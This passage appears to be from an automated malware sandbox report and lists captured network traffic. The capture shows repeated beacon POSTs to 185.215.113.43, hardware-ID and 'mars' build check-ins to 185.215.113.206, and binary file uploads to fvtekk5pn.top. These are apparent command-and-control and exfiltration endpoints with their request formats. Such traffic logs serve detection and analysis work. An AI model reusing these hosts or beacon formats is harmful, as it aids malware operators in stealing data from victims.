Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 463Content-Type: multipart/form-data; boundary=------------------------akdey8YRYJrlQK6JqizpMYData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 61 6b 64 65 79 38 59 52 59 4a 72 6c 51 4b 36 4a 71 69 7a 70 4d 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 51 69 6c 61 6b 61 6b 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a eb 8c 9d 4e 37 e8 80 03 b4 52 75 76 70 06 89 35 ae 9c 5d cb 5a 4b ca 71 2b 67 fc 6d 3c 37 6e 34 7c 10 fe 34 ec 8d 63 29 6e a5 a8 3a 9d 4a 0b 1f 6e a6 5e c0 80 eb f4 55 10 98 da f6 20 38 f2 06 af 71 6d 5f af 72 65 4f e2 10 7f 13 ef 89 61 3b 24 23 5e 3a fc e9 65 40 1c 17 d8 db c5 e8 09 d4 b0 24 35 1a 9e 35 47 1d 92 f1 07 15 bb 67 69 e1 36 e3 ef 90 0e ea 78 26 8e c3 33 5d 61 db 57 aa 4d ac b2 d8 fd c7 ba ef 6b 74 be 24 6a e3 97 ce 58 7f c8 76 88 bb 5b bf 7f 54 e2 1c 33 f5 60 26 e0 c2 c8 24 e9 f6 39 8b 86 34 d4 d1 93 80 f0 08 bc cd bc 83 d4 05 e1 b6 73 32 5f 86 78 40 14 62 a1 ca d3 02 b2 6b 18 e1 03 6d f7 1c 3c c2 1c 90 dd e2 c2 34 76 b1 10 69 8f 51 f5 cd 1c 87 14 15 05 40 2c 2c da 29 9d bb 8b 68 4b e0 1b cc e2 0c 3b c2 49 39 69 f1 33 aa 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 61 6b 64 65 79 38 59 52 59 4a 72 6c 51 4b 36 4a 71 69 7a 70 4d 59 2d 2d 0d 0a Data Ascii: --------------------------akdey8YRYJrlQK6JqizpMYContent-Disposition: form-data; name="file"; filename="Qilakak.bin"Content-Type: application/octet-streamN7Ruvp5]ZKq+gm<7n4\|4c)n:Jn^U 8qm_reOa;$#^:e@$55Ggi6x&3]aWMkt$jXv[T3`&$94s2_x@bkm<4viQ@,,)hK;I9i3--------------------------akdey8YRYJrlQK6JqizpMY--
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIIJDAAAAAAKECBFBAEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 30 43 41 38 35 45 44 33 32 44 45 33 37 31 32 36 35 39 37 38 32 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 2d 2d 0d 0a Data Ascii: ------HIIIJDAAAAAAKECBFBAEContent-Disposition: form-data; name="hwid"C0CA85ED32DE3712659782------HIIIJDAAAAAAKECBFBAEContent-Disposition: form-data; name="build"mars------HIIIJDAAAAAAKECBFBAE--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 90616Content-Type: multipart/form-data; boundary=------------------------QrutOv04XKExx7atNcMO9eData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 51 72 75 74 4f 76 30 34 58 4b 45 78 78 37 61 74 4e 63 4d 4f 39 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 48 69 6a 75 71 6f 6c 69 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 4f 27 b9 47 8a 8f 83 d3 42 16 a5 ff df 88 9f cc f9 2e 8b 95 f7 31 d4 61 47 04 ee d0 ef 9b 0f 78 8d 58 4d e1 b7 23 df fa cc 93 89 14 fe 5e f5 d2 44 da e1 0f 8b c5 e7 6b 2e e1 de 21 46 b6 4d ce 68 f1 c6 75 6c f1 d2 c0 f5 af 23 88 cb d6 28 a1 f2 da 49 20 3d 96 1e b7 9f 18 49 65 c1 26 d8 33 36 23 4b 94 96 8a 07 42 de 0d 95 ff 3c b6 e6 54 ee 11 f7 01 a4 a2 6b f5 8c f6 7b 21 e4 7e 9e 6b ca 7e 54 3b 00 bb 3a bc 9b dd 5f 8b 84 f8 4f 3b db 53 f7 fa 1c bc 73 7a df 37 6f 9e 9f 1e af 2d 6d c5 3b d2 64 c3 74 07 ac ae fb f2 82 bf 04 c7 51 75 73 66 86 a4 d0 bc 0c 77 5c 40 c8 f7 e5 d9 03 a2 19 3a a0 48 7b 68 b7 07 de 18 59 35 f5 4d 60 ec 9e bc 0d be 61 57 48 93 63 42 3f 46 1d 40 80 2e ef b1 c7 03 76 f8 d5 04 2f 70 9c 33 57 80 37 71 f8 96 52 c6 a4 ac ac f4 fb 92 4e f8 cf 7d 69 a7 b4 c4 50 ab 53 73 a7 93 1f d4 6f c5 5c 44 d6 63 fd 0f 52 5a 78 8a a8 89 b0 35 55 e1 2f d5 62 cb e6 d9 0b c7 a5 c5 12 9f 54 11 fe b7 58 a8 01 97 56 69 dc b1 94 6f ff 0d ba 5b 7d 10 97 83 24 07 d6 63 b2 0e e9 32 0e 20 c4 5d 54 e0 ac 6d 4e c2 59 ba c2 12 34 3b 82 a7 14 f4 df 52 57 98 f2 24 71 71 61 93 59 67 62 6a 6f c7 99 5b 1e 10 5d 5e f5 c2 c7 b8 37 64 6f 89 8e 1a 50 df 34 f5 7c 5b 22 dd c6 a1 21 fa 56 a4 1d 97 35 1d 50 16 0b 57 29 d5 26 1d c7 5f 58 bc de 54 54 e0 4b a9 4e 69 5c c0 88 3b a4 24 33 4b d4 cd 59 ac 44 cc 8c a0 d4 f9 33 66 af 94 4b f2 7b e0 c5 04 b6 ea de c4 e5 76 d5 ea 84 0a 29 15 b8 12 bc 73 83 38 d3 94 8c ea 58 e1 64 79 4d 64 1a 5f 0f 44 29 7e 69 d7 10 4c 5e 57 e4 9d 86 4c 14 7f c5 ce dd 39 fa 82 47 4e a9 a9 d7 04 14 3a 2d 6d ce d4 5e 3d 95 fe 6c 56 65 2f 24 04 fa 74 e5 59 8a 44 35 19 36 a4 bb 90 43 dd 1a 31 a9 d8 39 b9 f3 ba 1f d3 53 96 88 23 f2 d5 fb f9 e9 c2 7d 41 c5 9b ec 5a db 82 3d f3 59 7c f8 a2 67 3c 4d 71 13 92 c5 63 ab b5 cc 33 ae 9a 81 c6 19 1b b9 61 4c b4 ec d2 06 2f f5 ee ab 8b 32 98 b7 b1 fc 14 e1 16 e8 15 d0 05 54 41 99 1b b5 58 42 18 1e 4b ae 75 39 c4 7f 89 8f 2d 25 4a 9e fb 30 4a ec d0 f5 7a 47 5b 92 42 14 45 33 69 76 4b 9e 99 d3 cc 10 04 81 0f 65 46 33 63 24 1d 1c d2 99 09 b9 ad 2c ad be e2 9e 2d e3 bf 56 02 a8 cc a3 b7 e0 02 6a dc b1 82 d1 3f 4d db 05 3e 8e b9 7c fd ca ab 92 96 a8 97 b6 aa c1 25 53 52 49 6b 80 24 eb 13 83 a8 85 dc 08 5e 09 2f 15 cc 3b 3e a9 1a 3c 9c e0 66 7d 6f b0 d1 0f 33 f8 50 71 4e f8 eb fd d5 2f 97 6e 95 57 2c 10 2d a7 a5 1b 38 1b d0 e9 a2 d3 ef 2b 37 a3 d4 7a ee cc e3 ae
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKEBKJJDGHCBGCAAKEHDHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 30 43 41 38 35 45 44 33 32 44 45 33 37 31 32 36 35 39 37 38 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 44 2d 2d 0d 0a Data Ascii: ------KKEBKJJDGHCBGCAAKEHDContent-Disposition: form-data; name="hwid"C0CA85ED32DE3712659782------KKEBKJJDGHCBGCAAKEHDContent-Disposition: form-data; name="build"mars------KKEBKJJDGHCBGCAAKEHD--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: 